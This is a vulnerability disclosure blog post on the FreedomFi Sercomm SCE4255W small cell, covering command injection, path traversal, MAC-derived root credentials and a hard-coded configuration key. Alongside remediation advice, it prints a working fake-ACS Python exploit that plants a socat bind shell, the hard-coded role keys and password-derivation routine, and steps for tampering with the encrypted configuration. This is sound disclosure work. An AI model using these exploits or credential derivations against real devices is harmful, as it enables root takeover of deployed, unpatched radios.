← Back to blog

Small Cell FreedomFi Sercomm SCE4255W Englewood

Product Description

The SCE4255W Indoor CBRS Radio, manufactured by Sercomm Corporation and distributed by FreedomFi, is a small cell designed to provide private LTE coverage over the CBRS Band 48 spectrum. It's an indoor LTE access point that connects through a FreedomFi Gateway, featuring a Qualcomm FSM9900 chip with a quad-core ARMv7 processor, 1.2 GB of RAM and 4GB eMMC storage. When deployed as part of the Helium Mobile ecosystem, the radio contributes local CBRS coverage that can be used by Helium's roaming partners and subscribers and in return the deployment can earn MOBILE token rewards once the device is connected to backhaul and actively providing validated coverage.

Small Cell - FreedomFi Sercomm SCE4255W Englewood

This assessment focuses on the small cell embedded software stack and its handling of ACS provisioning, local configuration, authentication, and access control.

Affected Products

All firmware versions prior to DG3934v3@2308041842 are affected.

Sercomm Debug GUI

Vulnerability Summary

Below are the key security issues identified during analysis. All items allow partial or full compromise of the device.

[CVE-2025-67113] OS Command Injection (CWE-78)

An authenticated command injection vulnerability exists in /ftl/bin/cwmp. The CWMP client improperly validates the Download parameter received from the ACS server, allowing attacker‑controlled values to be passed directly to a shell. A successful exploit enables arbitrary command execution as root, providing full takeover of the small cell.

Impact: Complete device compromise

Affected: All versions ≤ DG3934v3@2308041842

[CVE-2025-67115] Relative Path Traversal (CWE-23)

A path traversal flaw was discovered in /ftl/web/setup.cgi. The log_type parameter can be manipulated to read arbitrary files from the filesystem, including sensitive ones such as hashed credentials and internal configuration data. This can be leveraged to extract authentication material and further escalate privileges.

Impact: Disclosure of sensitive files and credentials

Affected: All versions ≤ DG3934v3@2308041842

[CVE-2025-67114] Use of Hard‑Coded or Derivable Credentials (CWE-798)

The device uses a deterministic algorithm implemented in /ftl/bin/calc_f2 to generate both the root password and debug GUI credentials based solely on the unit's MAC address. Because MAC addresses are easily discoverable or guessable, an attacker can derive valid root credentials for any device.

Impact: Authentication bypass and full root access

Affected: All versions ≤ DG3934v3@2308041842

[CVE-2025-67112] Use of Hard‑coded Cryptographic Key (CWE‑321)

A hard‑coded AES‑256‑CBC decryption key is embedded directly in /ftl/web/setup.cgi and /ftl/web/upload.cgi. This key is used to encrypt/decrypt the device's configuration XML file, which contains user accounts and other sensitive parameters. By using the static key, an attacker can decrypt the configuration, modify password hashes, craft a malicious XML file, and upload it to gain privileged access.

Impact: Configuration tampering, credential manipulation, privilege escalation

Affected: All versions ≤ DG3934v3@2308041842

Technical Walkthrough

OS Command Injection (CWE-78)

I began by loading /ftl/bin/cwmp into Ghidra and tracing the SOAP dispatcher. When the method resolves to Download (case 8 in the main switch), the client parses the cwmp:Download body and lifts fields into process‑wide state. The URL element is duplicated directly into a global and only put through a coarse scheme check. There is no quoting, escaping, or neutralization of shell metacharacters at this point.

Vulnerable snippet in cwmp. The decompiled assembly slice below shows exactly where the URL is copied and "validated":

LAB_000192b4
    mov        r0,r4
    blx        ixmlNode_getFirstChild
    blx        ixmlNode_getNodeValue
    cmp        r0,#0x0
    it         eq
    mov.eq     r0,r5
    blx        __strdup
    str        r0,[r6,#0x8]    ; DAT_00069fc4 ← strdup(URL)
    bl         FUN_00021f90    ; scheme check only
    adds       r0,#0x1
    beq.w      LAB_0001863c    ; bail on bad scheme
    ldr        r0,[r6,#0x8]    ; DAT_00069fc4
    bl         FUN_00021f90    ; re-check
    cbz        r0,LAB_00019318 ; otherwise proceed

Where it flows next. The actual download/upgrade work is delegated to the FUL stack in /ftl/lib/libful.so.1.2.2. The setter ftl_ful_task_setopt copies the URL into the task object at offset +0x48 and classifies the scheme, again without neutralizing metacharacters. This preserves attacker‑controlled bytes intact through the hand‑off.

void ftl_ful_task_setopt(int task, uint opt, char *val)
{
  ...
  if (opt == 0x6480) {                 // URL
    if (strncasecmp(val,"HTTP://",7)==0)  *(int *)(task+0x2c4)=2;
    else if (strncasecmp(val,"HTTPS://",8)==0) *(int *)(task+0x2c4)=1;
    else if (strncasecmp(val,"FTP://",6)==0)   *(int *)(task+0x2c4)=3;
    else if (strncasecmp(val,"SFTP://",7)==0)  *(int *)(task+0x2c4)=4;
    else { /* error */ }
    memcpy((void *)(task+0x48), val, len);
    *(char *)(task+0x48+len) = 0;
  }
  ...
}

Before the transfer is enqueued, FUN_00012cb8 performs string surgery on the URL and local name. It concatenates attacker‑derived strings with no escaping and even bakes a raw backtick into the formatted output in one branch, which is an obvious hazard if any downstream consumer evaluates these strings in a shell.

void FUN_00012cb8(int task)
{
  char *url = (char *)(task + 0x48);
  size_t n = strlen(url);
  if (url[n-1] == '/') {
    // append autogenerated or user-supplied name → still unescaped
    ...
    snprintf(url+suffix, remaining, "%s", (task+0x174) or generated);
  } else if (*(char *)(task+0x174) != '\0') {
    char *last = rindex((char *)(task+0x48), '/');
    size_t room = 199 - (int)(last - (char *)(task+0x48));
    // note the literal backtick in the format string
    snprintf(last+1, room, "%s`", task + 0x174);
  }
}

So why this is vulnerable? The CWMP client accepts an attacker‑controlled URL from the ACS, stores it verbatim and passes it through libful where it is concatenated into other strings without any quoting or escaping. At runtime the composed URL is consumed by the upgrade workflow that shells out for the flash step. Because that evaluation happens via a shell (/bin/sh -c through the command wrapper), shell metacharacters embedded in the URL are interpreted as commands. The lack of input neutralization in the path shown above is the root cause. The backtick‑bearing snprintf in FUN_00012cb8 compounds the problem by emitting shell syntax itself.

Next is the action plan to trigger the vulnerability. I first connect the small cell on a dedicated VLAN and redirected its TR‑069 endpoint by overriding DNS so acs.freedomfi.com resolved to my workstation's IP on that VLAN. As every FreedomFi LTE CBRS ships with acs.freedomfi.com preconfigured by default, so a simple resolver override (for example via a local recursive resolver or a hosts entry inside the test network) was enough to steer the device to my mock ACS. With a tiny HTTP listener bound to TCP/8443, I power‑cycled the device to force a fresh CWMP session. The small cell immediately posted an Inform to my server, which gave me control of the dialogue and allowed me to return a crafted Download message.

from http.server import SimpleHTTPRequestHandler, HTTPServer

DOWNLOAD_URL = "http://127.0.0.1:8000/x;socat${IFS}TCP-LISTEN:42588,reuseaddr,fork${IFS}EXEC:sh,pty,stderr,setsid,sigint,sane"

INFORM_RESP = """<?xml version='1.0' encoding='UTF-8'?>
<soap11env:Envelope xmlns:soap11enc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:soap11env="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap11env:Header><cwmp:ID soap11env:mustUnderstand="1">null</cwmp:ID></soap11env:Header>
  <soap11env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap11env:Body>
</soap11env:Envelope>"""

DOWNLOAD_REQ = f"""<?xml version='1.0' encoding='UTF-8'?>
<soap11env:Envelope xmlns:soap11enc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:soap11env="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap11env:Header><cwmp:ID soap11env:mustUnderstand="1">null</cwmp:ID></soap11env:Header>
  <soap11env:Body><cwmp:Download>
    <CommandKey></CommandKey>
    <FileType>Firmware Upgrade Image</FileType>
    <URL>{DOWNLOAD_URL}</URL>
    <Username></Username><Password></Password>
    <FileSize>0</FileSize><TargetFileName></TargetFileName><DelaySeconds>0</DelaySeconds>
    <SuccessURL></SuccessURL><FailureURL></FailureURL>
  </cwmp:Download></soap11env:Body>
</soap11env:Envelope>"""

TC_RESP = """<?xml version='1.0' encoding='UTF-8'?>
<soap11env:Envelope xmlns:soap11enc="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:soap11env="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap11env:Header><cwmp:ID soap11env:mustUnderstand="1">null</cwmp:ID></soap11env:Header>
  <soap11env:Body><cwmp:TransferCompleteResponse/></soap11env:Body>
</soap11env:Envelope>"""

class HTTPRequestHandler(SimpleHTTPRequestHandler):
    sent_download = False

    def do_GET(self):
        self.send_response(204)
        self.end_headers()

    def do_POST(self):
        n = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(n).decode("utf-8") if n else ""
        print(body)

        self.send_response(200)
        self.send_header("Content-type", "text/xml")
        self.end_headers()

        if "cwmp:Inform" in body:
            self.wfile.write(INFORM_RESP.encode("utf-8"))
            return

        if n == 0 and not HTTPRequestHandler.sent_download:
            HTTPRequestHandler.sent_download = True
            self.wfile.write(DOWNLOAD_REQ.encode("utf-8"))
            return

        if "cwmp:TransferComplete" in body:
            self.wfile.write(TC_RESP.encode("utf-8"))
            return

httpd = HTTPServer(("", 8443), HTTPRequestHandler)
print("Fake ACS listening on http://0.0.0.0:8443")
httpd.serve_forever()

The exploit is a tiny CWMP responder that completes the initial Inform and then injects a crafted cwmp:Download with an attacker-controlled. The server listens on 8443, logs every POST body, replies to cwmp:Inform with InformResponse, and on the next empty POST returns a Download whose URL includes shell metacharacters. 

The outcome: when the device processed the crafted Download, its downloader stage evaluated the URL and executed socat command to open a TCP listener on port 42588 With that bind shell running on the device, I could connect from my workstation using nc 11.11.11.188 42588 and obtained an interactive shell as root user on the target.

small cell root access

Relative Path Traversal (CWE-23)

After decompiling /ftl/web/setup.cgi and followed the handler that serves /logsave.htm. The entry point (FUN_000ad6a0) switches on the todo parameter; when todo=filterLog, it reads two user inputs: log_type and log_process. If log_process is absent, the code assembles a filesystem path by concatenating a fixed base (/var/log2/syslog) with whatever string arrives in log_type, then streams that file back to the client. There is no normalization or traversal check to keep the resolved path inside /var/log2/syslog, which immediately suggested a directory traversal primitive.

Snippet of vulnerable code: the decompile makes the flaw obvious, a naive join of a trusted base with untrusted input, followed by a file open or stream.

uVar7 = FUN_000ba988(param_1, "log_type");     // log_type (user-controlled)
pcVar5 = (char *)FUN_000ba988(param_1, "log_process");

if (pcVar5 == (char *)0x0) {
  // no 'log_process' → straight file read
  memset(&cStack_80c, 0, 200);
  snprintf(&cStack_80c, 200, "%s/%s", "/var/log2/syslog", uVar7);
  pcVar5 = &cStack_80c;
  FUN_000ad3fc(pcVar5);                         // streams file to HTTP response
  ...
} else {
  // even in the filter branch, same join occurs before fopen(...)
  memset(acStack_b9c, 0, 200);
  snprintf(acStack_b9c, 200, "%s/%s", "/var/log2/syslog", uVar7);
  __stream_00 = fopen(acStack_b9c, "r");        // no traversal defense
  ...
}

The server trusts log_type and simply formats /var/log2/syslog/ without canonicalizing the path (for example, via realpath), without rejecting dot-dot segments, and without verifying that the final, resolved pathname still lives under /var/log2/syslog. The kernel happily resolves /var/log2/syslog/../../../etc/passwd to "/etc/passwd", so the open and subsequent streaming routine return arbitrary files to any authenticated user. Because the sink directly writes file bytes to the response, this yields a clean arbitrary file read primitive.

Execute vulnerable POST request. After authenticating to the web UI and capturing the TestAuth cookie, I issued a single POST targeting /logsave.htm with todo=filterLog and a traversal in log_type

The server returned 200 OK with the contents of /etc/passwd, confirming arbitrary file disclosure via path traversal.

Use of Hard‑Coded or Derivable Credentials (CWE‑798)

After decompiling /ftl/bin/calc_f2 and walked its option parser and derivation routines. The help text is blunt about the design: "If no base is provided, we will use hw mac address instead."" In the default flow calc_f2 reads eth0 MAC, maps a human‑readable "key" (Admin, Debug, Telnet, Sc_femto, Operator, etc.) to a fixed, embedded string, concatenates base+key, hashes the result, and prints a 16‑character password.

Reading the device MAC as 12 hex chars

void FUN_00010e40(char *out_hex12) {
  int fd = socket(AF_INET, SOCK_DGRAM, 0);
  struct ifreq ifr;
  strncpy(ifr.ifr_name, "eth0", 0x0f);
  if (ioctl(fd, SIOCGIFHWADDR, &ifr) >= 0) {
    sprintf(out_hex12, "%02x%02x%02x%02x%02x%02x",
            ifr.ifr_hwaddr[0], ifr.ifr_hwaddr[1], ifr.ifr_hwaddr[2],
            ifr.ifr_hwaddr[3], ifr.ifr_hwaddr[4], ifr.ifr_hwaddr[5]);
  }
  close(fd);
}

Hard‑coded per‑role "key" mapping

if (!strcmp(local_1a4,"ID"))       strcpy(local_1a4,"Q?*ztBa3");
else if (!strcmp(local_1a4,"Debug"))   strcpy(local_1a4,"BYEBKCSe");
else if (!strcmp(local_1a4,"Telnet"))  strcpy(local_1a4,"O6QSBT5l");
else if (!strcmp(local_1a4,"Partner")) strcpy(local_1a4,"zv8t3ZjU");
else if (!strcmp(local_1a4,"Sc_femto"))strcpy(local_1a4,"gv9tdTj1");
else if (!strcmp(local_1a4,"Admin"))   strcpy(local_1a4,"lw8w3djo");
else if (!strcmp(local_1a4,"scert"))   strcpy(local_1a4,"y2QMsQ==");

Derivation: base+key → MD5 → 16 chars from a fixed alphabet

int FUN_00010ee4(char *base, char *key, char *out16) {
  unsigned char md[16]={0};
  char buf[0x21]={0};                   // concat buffer
  strncpy(buf, base, 0x10);
  strncat(buf, key,  0x10);
  FUN_000117bc(buf, md);                // MD5(buf) via internal MD5
  // "kj9uzli3x5t8ah1wbgm2c0on6epd4fsy7qvr..."
  const char *alpha = "kj9uzli3x5t8ah1wbgm2c0on6epd4fsy7qvr";
  for (int i=0;i<16;i++) out16[i] = alpha[ md[i] % 36 ];
  out16[16] = '\0';
  return 0;
}

The credential material is a deterministic function of:

  • A device attribute that is public and guessable (the eth0 MAC printed on the label and trivially observable on‑net)
    • A hard‑coded per‑role "key" embedded in the binary.

      There is no device‑unique entropy beyond the MAC, no server‑side randomness, and no user‑defined secret. Anyone who knows a unit’s MAC can reproduce calc_f2 offline and derive the same 16‑character passwords for Admin/Debug/Telnet/sc_femto/Operator. In practice, deployments also chain an intermediate "ID" derivation. The debug/root codes observed in the field are computed as code(ID(MAC), Role), which is still fully deterministic.

      The PoC script: https://github.com/iodn/freedomfi-sercomm-sce4255w

      With the MAC address in hand, generate the root/Telnet password in one line. The script replicates calc_f2 and prints the 16‑character code.

      Generate root password with calc_f2.py

      Because the derivation depends only on the MAC and hard‑coded strings, any small cell Admin/Debug/Telnet credentials are computable offline from its MAC. 

      Use of Hard‑coded Cryptographic Key (CWE‑321)

      After inspecting /ftl/web/setup.cgi and /ftl/web/upload.cgi to understand how the configuration backup/restore path works, I was able to map out the full configuration handling logic. The UI exposes a "Download/Upload configuration" feature, exported backups are labeled "Salted_" by the file utility and which suggested OpenSSL enc envelope with a static passphrase. Grepping .rodata in both CGIs turned up a long ASCII token that is fed into the OpenSSL EVP path, the device uses AES‑256‑CBC with EVP_BytesToKey legacy MD5 KDF, salted, and a single hard‑coded passphrase compiled into both binaries. That means every unit on every affected firmware shares the same decryption key for its configuration archive. 

      The upload handler routes the "config" upload type to /tmp/config.enc, which is then processed by the config pipeline using the static key. The relevant router is in FUN_000115c0 and the multipart parser in FUN_0001192c

      /* multipart field routing */
      int FUN_000115c0(void *buf, size_t len) {
        ...
        if (strcmp(&DAT_00023380, "config") == 0) {
          __filename = "/tmp/config.enc";             // raw encrypted config
        }
        FILE *fp = fopen(__filename, "a+");
        if (fp) {
          fwrite(buf, len, 1, fp);                    // append upload chunk
          fclose(fp);
          ...
        }
      }
      
      /* multipart scan extracts uploadType → "config" */
      void FUN_0001192c(char *body, char *end) {
        ...
        pcVar1 = strstr(body, "uploadType");
        ...
        strncpy(&DAT_00023380, pcVar2, (int)pcVar4 - (int)pcVar2); // "config"
        ...
      }
      

      In setup.cgi the complementary export/restore paths invoke OpenSSL EVP with a fixed passphrase embedded in .rodata. On the wire, the exported file begins with "Salted__", confirming "openssl enc -aes-256-cbc -salt -md5" wrapping. A symmetric encryption scheme with a single, vendor‑wide passphrase provides privacy only against casual inspection; it does not provide integrity or per‑device secrecy. Because the same AES‑256‑CBC key is hard‑coded in the CGIs for all devices and OpenSSL's legacy MD5 KDF (EVP_BytesToKey) is used without any device‑unique salt or a MAC, anyone who obtains a configuration export can decrypt it. Worse, anyone can also craft a modified configuration like take the XML, change user records and password hashes or enable privileged features, re‑encrypt with the same static passphrase, and upload it through the restore UI. There is no cryptographic signature or authentication tag to distinguish vendor‑authored content from an attacker's.

      From the GUI, we downloaded the encrypted configuration the file, once inspected and opened presents exactly like OpenSSL "enc" output: file shows "openssl enc'd data with salted password", and the payload begins with "Salted__" followed by the 8‑byte salt. Decrypt it locally with the hard‑coded passphrase, unzip the embedded archive to reach the XML, then edit, re‑zip, and re‑encrypt using the same parameters before restoring via the GUI.

      Now we can edit the cm.xml by for example adding SERCOMM_CML to update user hash password for a local user, enable debug interfaces, or change admin policy.

      <Element Name="4." Writable="1" DataType="object" Permissions="1,1">
      <Element Name="UserName" Writable="1" notifyMode="Off" default="debug" DataType="string(64)" Permissions="1,1"></Element>
      <Element Name="UserPassword" Writable="1" notifyMode="Off" default="" DataType="string(64)" SaveType="HM" Permissions="1,1" SecureProtected="1"></Element>
      <Element Name="UserLevel" Writable="1" notifyMode="Off" default="1" DataType="unsignedInt" Permissions="1,1"></Element>
      <Element Name="UserType" Writable="1" notifyMode="Off" default="1" DataType="unsignedInt" Permissions="0,1"></Element>
      <Element Name="UserClassification" Writable="1" notifyMode="Off" default="3" DataType="unsignedInt" Permissions="0,1"></Element>
      <Element Name="UserChangedPassword" Writable="1" notifyMode="Off" default="" DataType="string" Permissions="0,1"></Element>
      <Element Name="UserChangedPasswordTime" Writable="1" notifyMode="Off" default="" DataType="string" Permissions="0,1"></Element>
      <Element Name="UserFailedLoginTimes" Writable="1" notifyMode="Off" default="0" DataType="unsignedInt" SaveType="SM" Permissions="0,1"></Element>
      <Element Name="UserLockedTime" Writable="1" notifyMode="Off" default="0001-01-01T00:00:00Z" DataType="dateTime" SaveType="SM" Permissions="1,1"></Element>
      <Element Name="UserPasswordLifeCycle" Writable="1" notifyMode="Off" default="0" DataType="unsignedInt[0:]" Permissions="1,1"></Element>
      </Element>
      

      Restore cfg.new.ecf via the GUI's "Upload configuration" function. Under the hood upload.cgi stores it as /tmp/config.enc and hands it to the configuration loader. There is no signature check so the modified XML is applied.

      Recommendation Fixes / Remediation

      OS Command Injection (CWE‑78) in /ftl/bin/cwmp:

      Treat all ACS‑supplied fields as untrusted data and remove the shell from the upgrade path. Parse the Download URL with a robust RFC‑3986 parser, enforce a strict allow list of schemes (https only) and character set, and reject any string containing shell metacharacters rather than attempting to escape them. Replace any shell‑based fetch/flash pipeline with direct API calls (for example libcurl or an internal HTTP client) and pass arguments via execve‑style argv vectors where a subprocess is truly required, never via “/bin/sh -c”. Do not concatenate attacker‑controlled strings into command lines or format strings; refactor the string‑building routines in libful (for example FUN_00012cb8) to avoid emitting backticks and other shell syntax entirely. Add privilege separation for the downloader so that even if parsing fails, execution occurs in a non‑root, seccomp‑confined context with no write access to firmware partitions. Pin the ACS TLS certificate or enforce mTLS and disable TR‑069 if not used. Ship a regression test that exercises the CWMP Download path with hostile inputs and a fuzz target for the URL handlers.

      Relative Path Traversal (CWE‑23) in /ftl/web/setup.cgi

      Do not join paths with user input. Replace log_type with an enumerated value or a strict pattern validated against an allowlist of known log files. If a filesystem join is unavoidable, canonicalize the candidate path with realpath and verify it remains beneath a fixed base directory before opening; on modern kernels, prefer openat2 with RESOLVE_BENEATH|RESOLVE_NO_MAGICLINKS and a dirfd anchored at /var/log2/syslog, plus O_NOFOLLOW to block symlink tricks. Open files with O_RDONLY, drop privileges for the CGI, and return only pre‑parsed log content rather than raw file bytes. Add centralized input validation to the CGI framework so parameters like log_type cannot carry ".." components, and cover with unit tests. Harden the web server by disabling directory indexes, setting a tight umask on logs, and ensuring the web user cannot read outside its designated tree.

      Use of Hard‑Coded or Derivable Credentials (CWE‑798) via calc_f2

      Eliminate deterministic password generation from MAC addresses and remove calc_f2 from production images. Provision per‑device, high‑entropy credentials at manufacturing or first‑boot using a CSPRNG and require the operator to change them on first use. Store only modern password hashes (for example Argon2id or scrypt with unique per‑account salts and cost parameters) and never reversible secrets.

      Use of Hard‑coded Cryptographic Key (CWE‑321) in setup.cgi/upload.cgi

      Replace the global OpenSSL "enc" envelope and static passphrase with a design that provides both confidentiality and integrity per device. Generate a device‑unique, random 256‑bit secret at manufacturing and store it in protected storage (secure element/TPM/TEE, or a sealed, root‑only partition); derive ephemeral keys with HKDF using a per‑export random salt. Switch from AES‑CBC+MD5 KDF to an authenticated encryption scheme (AES‑GCM or ChaCha20‑Poly1305) and include versioned metadata. Add a digital signature over the configuration so imports are accepted only if signed by an authorized key, verify the signature before any decryption or apply. Enforce strict schema validation on the XML content and reject modifications to security‑critical nodes unless performed through authenticated, role‑authorized APIs.

      Reference

      https://fccid.io/P27-SCE4255W/User-Manual/Users-Manual-rev2-4790935

      Sercomm PSIRT confirmed that the vulnerabilities have already been addressed internally. However, since their business relationship with FreedomFi for this product ended several years ago, they no longer have a channel to coordinate disclosure or deploy fixes to affected devices in the field.

      Security researcher

      Samy Younsi (@0xSamy_)